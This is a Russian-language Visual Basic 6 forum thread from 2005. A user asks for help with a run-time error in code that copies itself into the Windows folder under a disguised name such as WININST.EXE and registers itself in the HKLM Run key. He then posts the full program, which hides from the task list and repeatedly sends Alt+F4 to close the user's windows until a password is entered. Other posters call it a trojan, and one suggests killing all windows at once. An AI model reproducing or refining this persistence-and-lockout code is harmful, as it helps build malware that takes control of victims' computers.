Проблема под названием "run-time error '75'"

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Проблема под названием "run-time error '75'"

Сообщение HugoFlex » 08.06.2005 (Ср) 1:40

Программа копирует себя из одной папки в другой и записывается в реестр. Но я хотел бы перед запуском программы появлялось некое сообщение. А скомпилированная программа на отрез от этого отказывается. Появляется ошибка run-time error '75' Path/File acces error. А когда убрать msgbox, то снова все работает отлично.
Вот сам кусок кода:
Код: Выделить всё
If App.Path <> Environ("windir") Then
   
       
        src = App.Path & IIf(Right(App.Path, 1) = "\", "", "\") & App.EXEName & ".exe"
        dest = Environ("windir") & "\" & "prog.exe"
       
        FileCopy src, dest
       
               
    Set Reg = CreateObject("WScript.Shell")
    Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Programm", Environ("windir") & "\" & "prog.exe"
   
    MsgBox "Программа запущена!", vbExclamation, "Programm"
   
    End If
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

Alexanbar
Продвинутый гуру
Продвинутый гуру
Аватара пользователя
 
Сообщения: 1727
Зарегистрирован: 13.04.2004 (Вт) 23:04
Откуда: Волгоградская обл.

Сообщение Alexanbar » 08.06.2005 (Ср) 8:02

Скорее всего, в dest уже есть такой файл.

GSerg
Шаман
Шаман
 
Сообщения: 14286
Зарегистрирован: 14.12.2002 (Сб) 5:25
Откуда: Магадан

Сообщение GSerg » 08.06.2005 (Ср) 12:12

Вирус.
Как только вы переберёте все варианты решения и не найдёте нужного, тут же обнаружится решение, простое и очевидное для всех, кроме вас

alibek
Большой Человек
Большой Человек
 
Сообщения: 14205
Зарегистрирован: 19.04.2002 (Пт) 11:40
Откуда: Russia

Сообщение alibek » 08.06.2005 (Ср) 12:16

GSerg писал(а):Вирус.

Навряд-ли. Вирус бы подцеплялся куда-нибудь, это скорее троян. Наверняка безграмотный :)
Lasciate ogni speranza, voi ch'entrate.

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 08.06.2005 (Ср) 21:05

Я так и знал, что вы подумаете что это троян. На самом деле это программа совсем как ни троян. А просто программа шутка. Программа убивает открытые окна, пока не введете пароль. Вот код этой программы:
Код: Выделить всё
Private Sub Form_Load()
    Dim src As String
    Dim dest As String
   
  If App.Path <> Environ("windir") Then

        src = App.Path & IIf(Right(App.Path, 1) = "\", "", "\") & App.EXEName & ".exe"
        dest = Environ("windir") & "\" & "WININST.EXE"
        FileCopy src, dest
  End If
   
   Set Reg = CreateObject("WScript.Shell")
   Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WININST.EXE", Environ("windir") & "\" & "WININST.EXE"

    bytTick = 255
    App.TaskVisible = False
    p = 0
    Call SetFormPosition(Me.hwnd, True)
End Sub

Private Sub cmdEnter_Click()
  If UCase(Text1.Text) = "PASSWORD" And UCase(Text2.Text) = "I'M REALY LAMER!" Then
    c = "Your login and password is correct"
    Timer3.Enabled = True
    Timer2.Enabled = True
    Timer1.Enabled = True
ElseIf UCase(Text1.Text) = "PASSWORD" And UCase(Text2.Text) <> "I'M REALY LAMER!" Then
    c = "Your password is wrong"
    Timer2.Enabled = True
    Beep
ElseIf UCase(Text1.Text) <> "PASSWORD" And UCase(Text2.Text) = "I'M REALY LAMER!" Then
    c = "Your login is incorrect"
    Timer2.Enabled = True
    Beep
Else
    c = "Your login and password is worng"
    Timer2.Enabled = True
    Beep
End If
End Sub

Private Sub Timer1_Timer()
    Call SetTransparent(hwnd, bytTick)
    bytTick = bytTick - 1
    If bytTick = 0 Then Unload Me
End Sub

Private Sub Timer2_Timer()
    p = p + 1
    If p Mod 2 = 0 Then
        lblScroller.Caption = c
    Else
        lblScroller.Caption = ""
    End If
   
    If p = 20 Then
         lblScroller.Caption = ""
        Timer2.Enabled = False
        p = 0
    End If
End Sub

Private Sub Timer3_Timer()
    If GetActiveWindow <> Me.hwnd Then
        SetTransparent hwnd, 127
    Else
        SetTransparent hwnd, 255
    End If
   
On Error GoTo errorer
        SendKeys "%{F4}"
errorer:
End Sub

Выводы делайте сами. :!:
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

ALX_2002
Мега гуру
Мега гуру
 
Сообщения: 2054
Зарегистрирован: 25.11.2002 (Пн) 20:03

Сообщение ALX_2002 » 09.06.2005 (Чт) 0:19

2 HugoFlex: Ути какой вредный ! :D ! Злобная задумка. А вообще идейка мне нравится :roll:

BV
Thinker
Thinker
Аватара пользователя
 
Сообщения: 3987
Зарегистрирован: 12.09.2004 (Вс) 0:55
Откуда: Молдавия, г. Кишинёв

Сообщение BV » 09.06.2005 (Чт) 0:23

Ага - злобный троян.
const char *out = "|*0>78-,+<|"; size_t cc = char_traits<char>::length(out);
for (size_t i=0;i<cc;i++){cout<<static_cast<char>((out[i]^89));}cout<<endl;

Kovu
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 924
Зарегистрирован: 29.04.2005 (Пт) 17:38

Сообщение Kovu » 09.06.2005 (Чт) 15:41

А не легче через EnumWindows Сразу убить все окна, кроме своего :D :D :D Тогда глаза у юзера будут на затылке, сам проверял на классе мегаламеров!!! :D :D :D :twisted:
Если всё делать своими ручками, они скоро отвалятся !


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 200

    TopList